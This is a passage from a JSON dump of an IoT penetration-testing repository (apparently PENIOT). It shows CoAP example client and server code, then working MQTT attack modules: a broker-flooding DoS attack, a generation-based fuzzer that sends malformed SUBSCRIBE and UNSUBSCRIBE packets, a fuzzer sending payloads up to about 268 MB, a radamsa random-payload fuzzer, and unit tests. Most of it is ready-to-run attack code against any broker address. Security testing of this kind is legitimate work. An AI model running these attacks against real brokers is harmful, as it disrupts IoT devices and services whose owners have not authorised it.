\"--host\", help=\"Host string of server\", default=DEFAULT_HOST)\n    parser.add_argument(\"-P\", \"--port\", help=\"Port number of server\", default=DEFAULT_PORT, type=int)\n    parser.add_argument(\"-e\", \"--endpoint\", help=\"Path of resources\", default=DEFAULT_PATH)\n    args = parser.parse_args()\n\n    client_procedure(args.host, args.port, args.endpoint)\n"
  },
  {
    "path": "src/protocols/CoAP/examples/resource_example.py",
    "content": "from coapthon.resources.resource import Resource\n\n\nclass BasicResource(Resource):\n\n    def __init__(self, name=\"BasicResource\", coap_server=None):\n        super(BasicResource, self).__init__(name, coap_server, visible=True,\n                                            observable=True, allow_children=True)\n        self.payload = \"Basic Resource\"\n\n    def render_GET(self, request):\n        return self\n\n    def render_PUT(self, request):\n        self.payload = request.payload\n        return self\n\n    def render_POST(self, request):\n        res = BasicResource()\n        res.location_query = request.uri_query\n        res.payload = request.payload\n        return res\n\n    def render_DELETE(self, request):\n        return True\n\n    def render_GET_advanced(self, request, response):\n        pass\n\n    def render_PUT_advanced(self, request, response):\n        pass\n\n    def render_POST_advanced(self, request, response):\n        pass\n\n    def render_DELETE_advanced(self, request, response):\n        pass\n"
  },
  {
    "path": "src/protocols/CoAP/examples/server_example.py",
    "content": "from coapthon.server.coap import CoAP\nfrom resource_example import BasicResource\n\nimport argparse\n# import logging\n\nDEFAULT_HOST = \"0.0.0.0\"\nDEFAULT_PORT = 5683\nDEFAULT_PATH = \"peniot\"\n\n# Since it has logger itself\n# logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s : %(message)s\")\n# logger = logging.getLogger(\"CoAP Server\")\n\n\"\"\"\n    CoAP Basic Server\n\"\"\"\n\n\nclass CoAPServer(CoAP):\n    def __init__(self, host, port, path):\n        CoAP.__init__(self, (host, port))\n        self.add_resource(path + '/', BasicResource())\n\n\ndef server_procedure(host, port, path):\n    \"\"\"\n    Server procedure for CoAP\n    :param host: Host address to connect\n    :param port: Port number of server\n    :param path: Path as endpoint to request resources\n    :return: None\n    \"\"\"\n    server = CoAPServer(host, port, path)\n    try:\n        server.listen(10)\n    except KeyboardInterrupt:\n        print \"Server Shutdown\"\n        server.close()\n        print \"Exiting...\"\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"-H\", \"--host\", help=\"Host string of server\", default=DEFAULT_HOST)\n    parser.add_argument(\"-P\", \"--port\", help=\"Port number of server\", default=DEFAULT_PORT, type=int)\n    parser.add_argument(\"-e\", \"--endpoint\", help=\"Path of resources\", default=DEFAULT_PATH)\n    args = parser.parse_args()\n\n    server_procedure(args.host, args.port, args.endpoint)\n"
  },
  {
    "path": "src/protocols/MQTT/__init__.py",
    "content": "\"\"\"\n    This package includes the following functionalities\n\n    1) Attacks to perform on MQTT protocol\n    2) MQTT subscriber and publisher for testing Mosquitto servers\n    3) ...\n\n    Moreover, we have a class which inherits from Protocol class.\n\"\"\"\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/__init__.py",
    "content": "\"\"\"\n    This is a package that contains attacks to MQTT protocol.\n    Currently, it supports the following attacks\n\n        1) Denial of Service Attack\n        2) Fuzzing Attack\n        3) Replay Attack\n        4) Sniff Attack\n\"\"\""
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_dos_attack.py",
    "content": "import multiprocessing\nimport random\nimport signal\nimport string\nimport sys\nimport logging\nimport time\nimport unittest\n\nimport paho.mqtt.client as paho\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.RandomUtil import random_generated_names\n\n\nclass MQTTDoSAttack(Attack):\n    \"\"\"\n    MQTT Protocol - DoS Attack Module\n    This class is used for populating repeated messages aiming to broker\n    \"\"\"\n    client = None\n\n    # Input Fields\n    host = None\n    topic = \"#\"\n    message = None\n    username = None\n    password = None\n    timeout = 0.01\n    stopped_flag = False  # This flag will help us for a smooth exit\n\n    # Misc Members\n    logger = None\n    published_message_count = 0\n\n    def __init__(self):\n        default_parameters = [\"127.0.0.1\", \"#\", \"\", \"\", \"\", 10.0]\n        inputs = [\n            InputFormat(\"Broker Address\", \"host\", \"\", str, mandatory=True),\n            InputFormat(\"Topic Name\", \"topic\", self.topic, str, mandatory=True),\n            InputFormat(\"Username\", \"username\", \"\", str, mandatory=True),\n            InputFormat(\"Password\", \"password\", \"\", str, mandatory=True, secret=True),\n            InputFormat(\"Message\", \"message\", \"\", str, mandatory=True),\n            InputFormat(\"Timeout\", \"timeout\", self.timeout, float)\n        ]\n\n        Attack.__init__(self, \"MQTT DoS Attack\", inputs, default_parameters,\n                        \"    We publish messages to MQTT broker.\\n\"\n                        \"    The time difference between messages\\n\"\n                        \"    can be specified.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Published message count: {0}, exitting...\".format(self.published_message_count))\n        if self.stopped_flag is False:  # Stop the attack\n            self.client.loop_stop()\n            self.stopped_flag = True\n        if self.client is not None:\n            self.client.disconnect()  # Close the connection before exitting\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n        # sys.exit(0)\n\n    def pre_attack_init(self):\n        self.client = paho.Client(random_generated_names.get_random_client_name())\n        self.client.connect(self.host)\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        # Start client loop for requests\n        self.published_message_count = 0\n\n        self.client.loop_start()\n\n        if self.message is None or len(self.message.strip()) == 0:\n            self.message = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(50))\n        while self.stopped_flag is False:  # If we don't check this, GUI goes back but a separate thread keeps sending MQTT messages\n            try:\n                self.published_message_count += 1\n                if self.username is None:  # Authentication not required\n                    self.client.publish(self.topic, self.message, retain=True)\n                    self.logger.info(\n                        \"Sent message count = {0} with topic = {1}.\".format(self.published_message_count, self.topic))\n                else:  # Authentication required\n                    # TODO Handle authentication after getting inputs\n                    self.client.publish(self.topic, self.message, retain=True)\n                    self.logger.info(\n                        \"Sent message count = {0} with topic = {1}.\".format(self.published_message_count, self.topic))\n                time.sleep(self.timeout)\n            except Exception as e:\n                self.logger.debug(sys.exc_info()[0])\n                break\n\n        self.client.loop_stop()\n        self.stopped_flag = True\n\n\nclass TestMQTTDoSAttack(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_dos_attack = MQTTDoSAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT DoS Attack\", self.mqtt_dos_attack.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.mqtt_dos_attack.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 6)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.mqtt_dos_attack.get_inputs()\n        for _input in inputs:\n            value = getattr(self.mqtt_dos_attack, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", \"peNiOt\", \"pen-user\", \"pen-pass\", \"peniot-payload\", 13.2]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_dos_attack.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.mqtt_dos_attack.client)\n\n        super(MQTTDoSAttack, self.mqtt_dos_attack).run()\n\n        inputs = self.mqtt_dos_attack.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.mqtt_dos_attack, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_dos_attack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\", \"peniot/test\", None, None, \"peniot-pay\", 0.01]\n            for index, _input in enumerate(example_inputs):\n                self.mqtt_dos_attack.inputs[index].set_value(_input)\n\n            self.mqtt_dos_attack.run()\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"DoS Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_fuzzing_attack_suite.py",
    "content": "from mqtt_generation_based_fuzzing import *\nfrom mqtt_payload_size_fuzzer import *\nfrom mqtt_random_payload_fuzzing import *\nfrom mqtt_topic_name_fuzzing import MQTTTopicNameFuzzingAttack\nfrom Entity.attack_suite import AttackSuite\n\n\nclass MQTTFuzzingAttackSuite(AttackSuite):\n\n    def __init__(self):\n        attacks = [MQTTTopicNameFuzzingAttack(), MQTTGenerationBasedFuzzingAttack(), MQTTPayloadSizeFuzzerAttack(), MQTTRandomPayloadFuzzingAttack()]\n        AttackSuite.__init__(self, \"MQTT Fuzzing Attack Suite\", attacks)\n\n\nclass TestMQTTFuzzingAttackSuite(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_fuzzing_attack_suite = MQTTFuzzingAttackSuite()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT Fuzzing Attack Suite\", self.mqtt_fuzzing_attack_suite.get_attack_suite_name())\n\n    def test_attack_list(self):\n        attacks = self.mqtt_fuzzing_attack_suite.get_attacks()\n        self.assertIsNotNone(attacks)\n        self.assertGreater(len(attacks), 0, \"Non inserted attacks\")\n        self.assertEquals(len(attacks), 4)\n\n    def test_attacks(self):\n        attacks = self.mqtt_fuzzing_attack_suite.get_attacks()\n        for attack in attacks:\n            p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name())\n            p.start()\n            time.sleep(5)\n            if p.is_alive():\n                p.terminate()\n                p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_generation_based_fuzzing.py",
    "content": "import multiprocessing\nimport unittest\n\nimport paho.mqtt.client as paho\n\nimport logging\nimport random\nimport signal\nimport struct\nimport time\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.RandomUtil import random_generated_names\n\n\nclass MQTTGenerationBasedFuzzingAttack(Attack):\n    \"\"\"\n    MQTT Protocol - Payload Size Fuzzer Attack module\n    It is created to test any MQTT device as black box test with malformed or semi-malformed inputs\n    \"\"\"\n    client = None\n\n    # Input Fields\n    address = None\n\n    # Misc Members\n    sent_message_count = 0  # Transmitted fuzzing packets\n    logger = None\n    stopped_flag = False\n\n    subscribe = paho.SUBSCRIBE\n    unsubscribe = paho.UNSUBSCRIBE\n\n    def __init__(self):\n        default_parameters = [\"127.0.0.1\"]\n        inputs = [\n            InputFormat(\"Broker Address\", \"address\", \"\", str, mandatory=True)\n        ]\n\n        Attack.__init__(self, \"MQTT Generation Based Fuzzing Attack\", inputs, default_parameters,\n                        \"   Inject the packets which are created from the scratch\\n\"\n                        \"   and changed by come of their bits to corrupt the content\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Transmitted fuzzing packet count: {0}, exitting...\".format(self.sent_message_count))\n        self.stopped_flag = True\n        if (self.client is not None):\n            self.client.disconnect()  # Close the connection before exitting\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n        # sys.exit(0)\n\n    def pre_attack_init(self):\n        self.client = paho.Client(random_generated_names.get_random_client_name())\n        try:\n            self.client.connect(self.address)\n        except Exception as e:\n            self.logger.error(\"Failed to connect to broker\")\n\n    def send_subscribe_or_unsubscribe(self, fuzz_client, message_type, topics, dup=False, optional_remaining_length=2,\n                                      command_dup_shift_times=3, command_base_xor_part=0x2):\n        \"\"\"\n        Generic subscribe and unsubscribe packet injection functionality\n        :param fuzz_client: Client ot be fuzzed\n        :param message_type: Currently either SUBSCRIBE or UNSUBSCRIBE\n        :param topics: Topics in form [(\"my/topic\", 0), (\"another/topic\", 2)] for SUBSCRIBE\n                                   or [\"my/topic\",another/topic\"] for UNSUBSCRIBE\n        :param dup: Duplicate flag, I set it FALSE, but you can test with TRUE\n        :param optional_remaining_length: To exploit message content, normally MQTT header length\n                                          for SUBSCRIBE and UNSUBSCRIBE is 2 bytes\n        :param command_dup_shift_times: Aligning command in header, change this to create malformed messages\n        :param command_base_xor_part: Normally, we need to perform XOR with 0x2 to command part of MQTT Control Packet\n                                      field of the header\n        :type fuzz_client: mqtt.Client\n        :return: Tuple of queued message and local mid\n        \"\"\"\n        remaining_length = optional_remaining_length\n        for t in topics:\n            remaining_length += optional_remaining_length + len(t)\n\n        command = message_type | (dup << command_dup_shift_times) | command_base_xor_part\n        packet = bytearray()\n        packet.append(command)\n        fuzz_client._pack_remaining_length(packet, remaining_length)\n        local_mid = fuzz_client._mid_generate()\n        packet.extend(struct.pack(\"!H\", local_mid))\n        if message_type == self.subscribe:\n            for t, q in topics:\n                fuzz_client._pack_str16(packet, t)\n                packet.append(q)\n        elif message_type == self.unsubscribe:\n            for t in topics:\n                fuzz_client._pack_str16(packet, t)\n        else:\n            self.logger.info(\"Unknown message type in Generation Based Fuzzing\")\n\n        return (fuzz_client._packet_queue(command, packet, local_mid, 1), local_mid)\n\n    def random_topic_generator(self, message_type, possible_characters, possible_qos_values, length=10):\n        try:\n            assert length > 2\n            where_to_put_slash = random.randint(1, length - 1)\n            topic = \"{0}/{1}\".format(\n                \"\".join([random.choice(possible_characters) for _ in range(1, where_to_put_slash)]),\n                \"\".join([random.choice(possible_characters) for _ in range(where_to_put_slash, length)]))\n            if message_type == self.subscribe:\n                return topic, random.choice(possible_qos_values)\n            elif message_type == self.unsubscribe:\n                return topic\n            else:\n                self.logger.info(\"Unknown message type in Generation Based Fuzzing\")\n        except AssertionError:\n            self.logger.error(\"Length must be greater than 2\")\n            return \"random/topic\"\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        subscribe = paho.SUBSCRIBE\n        unsubscribe = paho.UNSUBSCRIBE\n\n        # Quality of service creator\n        random_qosses = [0, 1, 2]\n\n        # Currently include \"A...Za...z\"\n        random_strings = \"\".join([chr(_) for _ in range(65, 91)]) + \"\".join([chr(_) for _ in range(97, 123)])\n\n        '''\n            (fuzz_client, message_type, topics, dup=False, optional_remaining_length=2,\n            command_dup_shift_times=3, command_base_xor_part=0x2):\n        '''\n        test_cases = [\n            dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2),\n            dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses),\n                                                 self.random_topic_generator(subscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=3, command_dup_shift_times=3, command_base_xor_part=0x2),\n            dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=2, command_dup_shift_times=5, command_base_xor_part=0x2),\n            dict(message_type=subscribe, topics=[self.random_topic_generator(subscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x5),\n            dict(message_type=unsubscribe,\n                 topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x2),\n            dict(message_type=unsubscribe,\n                 topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses),\n                         self.random_topic_generator(unsubscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=3, command_dup_shift_times=3, command_base_xor_part=0x2),\n            dict(message_type=unsubscribe,\n                 topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=2, command_dup_shift_times=5, command_base_xor_part=0x2),\n            dict(message_type=unsubscribe,\n                 topics=[self.random_topic_generator(unsubscribe, random_strings, random_qosses)]\n                 , dup=False, optional_remaining_length=2, command_dup_shift_times=3, command_base_xor_part=0x5)\n        ]\n\n        for test_case in test_cases:\n\n            if self.stopped_flag is True:\n                break\n\n            self.send_subscribe_or_unsubscribe(\n                self.client, test_case[\"message_type\"], test_case[\"topics\"],\n                test_case[\"dup\"], test_case[\"optional_remaining_length\"],\n                test_case[\"command_dup_shift_times\"], test_case[\"command_base_xor_part\"]\n            )\n            # Increment sent message count\n            self.sent_message_count += 1\n\n            self.logger.info(\"Test case {0} has been run in generation based fuzzing\".format(str(test_case)))\n            time.sleep(1)\n\n\nclass TestMQTTGenerationBasedFuzzingAttack(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_generation_based_fuzzer = MQTTGenerationBasedFuzzingAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT Generation Based Fuzzing Attack\", self.mqtt_generation_based_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.mqtt_generation_based_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 1)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.mqtt_generation_based_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.mqtt_generation_based_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\"]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_generation_based_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.mqtt_generation_based_fuzzer.client)\n\n        super(MQTTGenerationBasedFuzzingAttack, self.mqtt_generation_based_fuzzer).run()\n\n        inputs = self.mqtt_generation_based_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.mqtt_generation_based_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def testGenerationBasedFuzzingAttack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\"]\n            for index, _input in enumerate(example_inputs):\n                self.mqtt_generation_based_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.mqtt_generation_based_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"Generation Based Fuzzing Attack\")\n        p.start()\n        time.sleep(10)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_payload_size_fuzzer.py",
    "content": "import paho.mqtt.client as paho\n\nimport multiprocessing\nimport logging\nimport random\nimport time\nimport signal\nimport unittest\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.RandomUtil import random_generated_names\n\n\nclass MQTTPayloadSizeFuzzerAttack(Attack):\n    \"\"\"\n    MQTT Protocol - Payload Size Fuzzer Attack module\n    It is created to test any MQTT device as black box test with malformed or semi-malformed inputs\n    \"\"\"\n    client = None\n\n    # Input Fields\n    host = None\n    topic = None\n    fuzzing_turn = 10\n\n    # Miscellaneous Members\n    logger = None\n    max_payload_length = 268435455\n    sent_message_count = 0  # Transmitted fuzzing packets\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"127.0.0.1\", \"#\", 10]\n        inputs = [\n            InputFormat(\"Broker Address\", \"host\", \"\", str, mandatory=True),\n            InputFormat(\"Topic Name\", \"topic\", self.topic, str, mandatory=True),\n            InputFormat(\"Fuzzing Turn\", \"fuzzing_turn\", self.fuzzing_turn, int)\n        ]\n\n        Attack.__init__(self, \"MQTT Payload Size Fuzzer Attack\", inputs, default_parameters,\n                        \"    MQTT Payload size fuzzer attack description\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Transmitted fuzzing packet count: {0}, exitting...\".format(self.sent_message_count))\n        self.stopped_flag = True\n        if self.client is not None:\n            self.client.disconnect()  # Close the connection before exitting\n        time.sleep(2)  # Sleep one second so the user can see the message\n        # sys.exit(0)\n\n    def pre_attack_init(self):\n        try:\n            assert self.fuzzing_turn >= 2\n        except AssertionError as e:\n            raise\n        self.client = paho.Client(random_generated_names.get_random_client_name())\n        try:\n            self.client.connect(self.host)\n        except Exception as e:\n            self.logger.error(\"Failed to connect to broker\")\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        # Fill the size list as randomly generated\n        size_list = [0, self.max_payload_length]\n        size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.fuzzing_turn - 2)])\n\n        fuzzing = 0\n        self.logger.info(\"Size payload fuzzing is started. Please consider it may take some time.\")\n        for payload_size in size_list:\n\n            if self.stopped_flag is True:  # An external interrupt can force us to finish the attack\n                break\n            # Create payload and send it\n            random_strings = \"\".join([chr(_) for _ in range(65, 91)]) + \"\".join([chr(_) for _ in range(97, 123)])\n            random_character = random.choice(random_strings)\n            sized_payload = random_character * payload_size\n            self.client.publish(self.topic, sized_payload)\n\n            # Increment sent message count\n            self.logger.info(\n                \"Turn {0} is completed and {1} bytes of message is sent.\".format(fuzzing + 1, payload_size))\n            self.sent_message_count += 1\n            fuzzing += 1\n            time.sleep(1)\n        if self.stopped_flag is False:\n            self.logger.info(\"Payload size attack is finished.\")\n\n\nclass TestMQTTPayloadSizeAttack(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_payload_size_fuzzer = MQTTPayloadSizeFuzzerAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT Payload Size Fuzzer Attack\", self.mqtt_payload_size_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.mqtt_payload_size_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 3)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.mqtt_payload_size_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.mqtt_payload_size_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", \"peniot-coap-test\", 8888]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.mqtt_payload_size_fuzzer.client)\n\n        super(MQTTPayloadSizeFuzzerAttack, self.mqtt_payload_size_fuzzer).run()\n\n        inputs = self.mqtt_payload_size_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.mqtt_payload_size_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_invalid_fuzzing_turn(self):\n        example_inputs = [\"127.0.0.1\", \"peniot-topic\", 1]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input)\n\n        super(MQTTPayloadSizeFuzzerAttack, self.mqtt_payload_size_fuzzer).run()\n        try:\n            self.mqtt_payload_size_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_payload_size_fuzzing_attack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\", \"peniot/test\", 3]\n            for index, _input in enumerate(example_inputs):\n                self.mqtt_payload_size_fuzzer.inputs[index].set_value(_input)\n\n            try:\n                self.mqtt_payload_size_fuzzer.run()\n            except Exception as e:\n                self.assertTrue(False)\n\n        print \"* If server is not initialized this test will not execute properly.\"\n        p = multiprocessing.Process(target=run_attack, name=\"DoS Attack\")\n        p.start()\n        time.sleep(5)\n        if p.is_alive():\n            p.terminate()\n            p.join()\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "src/protocols/MQTT/attacks/mqtt_random_payload_fuzzing.py",
    "content": "import multiprocessing\nimport unittest\n\nimport paho.mqtt.client as paho\n\nimport logging\nimport random\nimport signal\nimport time\n\nfrom Entity.attack import Attack\nfrom Entity.input_format import InputFormat\nfrom Utils.FuzzerUtil import radamsa_util as rdm\nfrom Utils.RandomUtil import random_generated_names\n\n\nclass MQTTRandomPayloadFuzzingAttack(Attack):\n    \"\"\"\n    MQTT Protocol - Random Payload Fuzzing Attack module\n    It is created to test any MQTT device as black box test with malformed or semi-malformed inputs\n    \"\"\"\n    client = None\n\n    # Input Fields\n    address = None\n    topic = None\n    turn = 10\n    count = 1\n    payload = None\n\n    # Misc Members\n    logger = None\n    max_length_of_random_payload = 100\n    sent_message_count = 0\n    stopped_flag = False\n\n    def __init__(self):\n        default_parameters = [\"127.0.0.1\", \"#\", 10, 10, \"\"]\n        inputs = [\n            InputFormat(\"Broker Address\", \"address\", \"\", str, mandatory=True),\n            InputFormat(\"Topic\", \"topic\", \"\", str, mandatory=True),\n            InputFormat(\"Fuzzing Turn\", \"turn\", self.turn, int),\n            InputFormat(\"Fuzzing Message Count in each Turn\", \"count\", self.count, int),\n            InputFormat(\"Payload\", \"payload\", \"\", str, mandatory=True)\n        ]\n\n        Attack.__init__(self, \"MQTT Random Payload Fuzzing Attack\", inputs, default_parameters,\n                        \"    It creates a random payload and sends \\n\"\n                        \"    this payload to the client.\")\n\n        logging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s:%(levelname)s:%(name)s:%(message)s\")\n\n        # Signal handler to exit from function\n        signal.signal(signal.SIGINT, self.signal_handler)\n\n    def signal_handler(self, sig, frame):\n        self.stop_attack()\n\n    def stop_attack(self):\n        self.logger.info(\"Transmitted fuzzing packet count: {0}, exitting...\".format(self.sent_message_count))\n        self.stopped_flag = True\n        if self.client is not None:\n            self.client.disconnect()  # Close the connection before exitting\n        time.sleep(2)  # Sleep two seconds so the user can see the message\n        # sys.exit(0)\n\n    def pre_attack_init(self):\n        self.client = paho.Client(random_generated_names.get_random_client_name())\n        try:\n            self.client.connect(self.address)\n        except Exception as e:\n            self.logger.error(\"Failed to connect to broker\")\n\n    def run(self):\n        Attack.run(self)\n        self.pre_attack_init()\n\n        self.client.loop_start()\n        self.logger.info(\"Random payload fuzzing is started.\")\n\n        if self.payload is None:\n            length = random.randint(1, self.max_length_of_random_payload)\n            self.payload = \"\".join([chr(random.randint(1, 127)) for _ in range(length)])\n\n        for fuzzing in range(self.turn):\n\n            if self.stopped_flag is True:\n                break\n\n            while True:\n                try:\n                    returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(self.payload, self.count)\n                    if type(returned_strings) == list:\n                        fuzzer_messages = [string.decode(\"utf-8\") for string in returned_strings]\n                    else:\n                        fuzzer_messages = returned_strings.decode(\"utf-8\")\n                    break\n                except UnicodeDecodeError:\n                    self.logger.debug(\"Error occurred while decoding payload in random payload fuzzing.\")\n                    continue\n            # Check whether result is list or not\n            if type(fuzzer_messages) == list:\n                for message in fuzzer_messages:\n                    self.client.publish(self.topic, message)\n                    # Increment sent message count\n                    self.sent_message_count += 1\n            else:\n                self.client.publish(self.topic, fuzzer_messages)\n                # Increment sent message count\n                self.sent_message_count += 1\n            time.sleep(1)\n            self.logger.info(\"Turn {0} is completed with message content = {1}\".format(fuzzing + 1, fuzzer_messages))\n\n        self.client.loop_stop()\n        self.logger.info(\"Random payload fuzzing is finished.\")\n\n\nclass TestMQTTRandomPayloadAttack(unittest.TestCase):\n    def setUp(self):\n        self.mqtt_random_payload_fuzzer = MQTTRandomPayloadFuzzingAttack()\n\n    def tearDown(self):\n        pass\n\n    def test_name(self):\n        self.assertEqual(\"MQTT Random Payload Fuzzing Attack\", self.mqtt_random_payload_fuzzer.get_attack_name())\n\n    def test_inputs(self):\n        inputs = self.mqtt_random_payload_fuzzer.get_inputs()\n        self.assertIsNotNone(inputs)\n        self.assertGreater(len(inputs), 0, \"Non inserted inputs\")\n        self.assertEquals(len(inputs), 5)\n\n    def test_non_initialized_inputs(self):\n        inputs = self.mqtt_random_payload_fuzzer.get_inputs()\n        for _input in inputs:\n            value = getattr(self.mqtt_random_payload_fuzzer, _input.get_name())\n            self.assertTrue(value is None or type(value) == _input.get_type())\n\n    def test_after_getting_inputs(self):\n        example_inputs = [\"a.b.c.d\", \"pen-topic\", 12, 2, \"pen-payload\"]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input)\n\n        # Previously it should not be set\n        self.assertIsNone(self.mqtt_random_payload_fuzzer.client)\n\n        super(MQTTRandomPayloadFuzzingAttack, self.mqtt_random_payload_fuzzer).run()\n\n        inputs = self.mqtt_random_payload_fuzzer.get_inputs()\n        for index, _input in enumerate(inputs):\n            value = getattr(self.mqtt_random_payload_fuzzer, _input.get_name())\n            self.assertEqual(example_inputs[index], value)\n\n    def test_invalid_fuzzing_turn(self):\n        example_inputs = [\"127.0.0.1\", \"peniot-topic\", 1]\n        for index, _input in enumerate(example_inputs):\n            self.mqtt_random_payload_fuzzer.inputs[index].set_value(_input)\n\n        super(MQTTRandomPayloadFuzzingAttack, self.mqtt_random_payload_fuzzer).run()\n        try:\n            self.mqtt_random_payload_fuzzer.pre_attack_init()\n        except AssertionError as e:\n            self.assertTrue(True)\n\n    def test_random_payload_fuzzing_attack(self):\n        def run_attack():\n            example_inputs = [\"127.0.0.1\", \"peniot/test\", 3, 1, 